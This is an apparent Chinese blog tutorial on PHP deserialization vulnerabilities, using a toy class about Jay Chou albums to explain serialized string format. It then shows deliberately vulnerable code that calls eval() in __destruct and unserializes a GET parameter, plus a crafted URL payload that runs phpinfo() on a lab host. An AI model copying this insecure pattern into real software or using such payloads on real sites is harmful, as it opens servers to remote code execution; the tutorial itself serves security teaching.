美文网首页
PHP反序列化漏洞

PHP反序列化漏洞

作者: 玉宾 | 来源:发表于2020-08-07 19:46 被阅读0次

    以前我觉得成绩不重要,清华北大只能代表学生时代的成就,后来才发现,努力是种习惯,他会贯穿一生。。。

    ----  网易云热评

    一、创建类和对象

    <?php

    #创建一个Jay专辑类

    class Jay{ 

        public $name;

        public $year;

        public $mus;

    }

    #创建一个Jay专辑对象

    $jay1 =new Jay();

    #专辑名称

    $jay1->name="周杰伦的床边故事";

    #专辑发行时间

    $jay1->year=2016;

    #专辑主打歌

    $jay1->mus="告白气球";

    $jay2 =new Jay();

    $jay2->name="哎呦,不错哦";

    $jay2->year=2014;

    $jay2->mus="算什么男人";

    echo "专辑名称:".$jay1->name."<hr>发行时间:".$jay1->year."<hr>主打歌:".$jay1->mus;

    echo var_dump($jay2);

    ?>

    运行结果:

    二、序列化与反序列化概念

    1、将一个对象转化为字符串并存储在一个文件中的过程被称为序列化

    2、等到需要对象信息的时候,再从文件读取字符串的过程被称为反序列化

    3、应用场景:将一个登录状态的用户的信息序列化,可以节省内存

    三、将对象序列化与反序列化

    1、序列化

    <?php

    #创建一个Jay专辑类

    class Jay{

        public $name;

        public $year;

        public $mus;

    }

    #创建一个Jay专辑对象

    $jay1 =new Jay();

    #专辑名称

    $jay1->name="周杰伦的床边故事";

    #专辑发行时间

    $jay1->year=2016;

    #专辑主打歌

    $jay1->mus="告白气球";

    $jay2 =new Jay();

    $jay2->name="哎呦,不错哦";

    $jay2->year=2014;

    $jay2->mus="算什么男人";

    echo "专辑名称:".$jay1->name."<hr>发行时间:".$jay1->year."<hr>主打歌:".$jay1->mus;

    #将对象jay2序列化

    echo var_dump($jay2);

    ?>

    运行结果:

    O:object对象

    第一个3:Jay的长度

    第二个3:有三个属性值

    s:string类型

    4:name的程度

    18:哎呦,不错哦的长度

    i:int类型

    每两个分号确定一个属性

    2、反序列化

    $str=<<<HTML

    O:3:"Jay":3:{s:4:"name";s:18:"哎呦,不错哦";s:4:"year";i:2014;s:3:"mus";s:15:"算什么男人";}

    HTML;

    var_dump(unserialize($str));

    运行结果

    四、利用序列化漏洞

    <?php

    class Jay{

        public $name;

        public $year;

        public $mus;

        function __destruct()//程序结束的时候的会自动调用该函数,类似构造函数,创建对象会自动调用

        {

        @eval($this->mus);

        }

    }

    $jay1 =new Jay();

    $jay1->name="周杰伦的床边故事";

    $jay1->year=2016;

    $jay1->mus="告白气球";

    $jay2 =new Jay();

    $jay2->name="哎呦,不错哦";

    $jay2->year=2014;

    $jay2->mus="算什么男人";

    echo "专辑名称:".$jay1->name."<hr>发行时间:".$jay1->year."<hr>主打歌:".$jay1->mus."<hr>";

    echo serialize($jay2);

    echo "<hr>";

    //将反序列操作的字符改为变量传递,并通过get方式提交

    $tmp=$_GET['aaa'];

    var_dump(unserialize($tmp));

    ?>

    运行结果:

    http://192.168.1.129/1.php?aaa=O:3:"Jay":3:{s:4:"name";s:18:"哎呦,不错哦";s:4:"year";i:2014;s:3:"mus";s:15:"算什么男人";}

    修改一下mus的反序列字符串,修改为如下:

    http://192.168.1.129/1.php?aaa=O:3:"Jay":3:{s:4:"name";s:18:"哎呦,不错哦";s:4:"year";i:2014;s:3:"mus";s:10:"phpinfo();";}

    运行结果:

    禁止非法,后果自负

    欢迎关注公众号:web安全工具库

    相关文章

      网友评论

          本文标题:PHP反序列化漏洞

          本文链接:https://www.haomeiwen.com/subject/hgjqdktx.html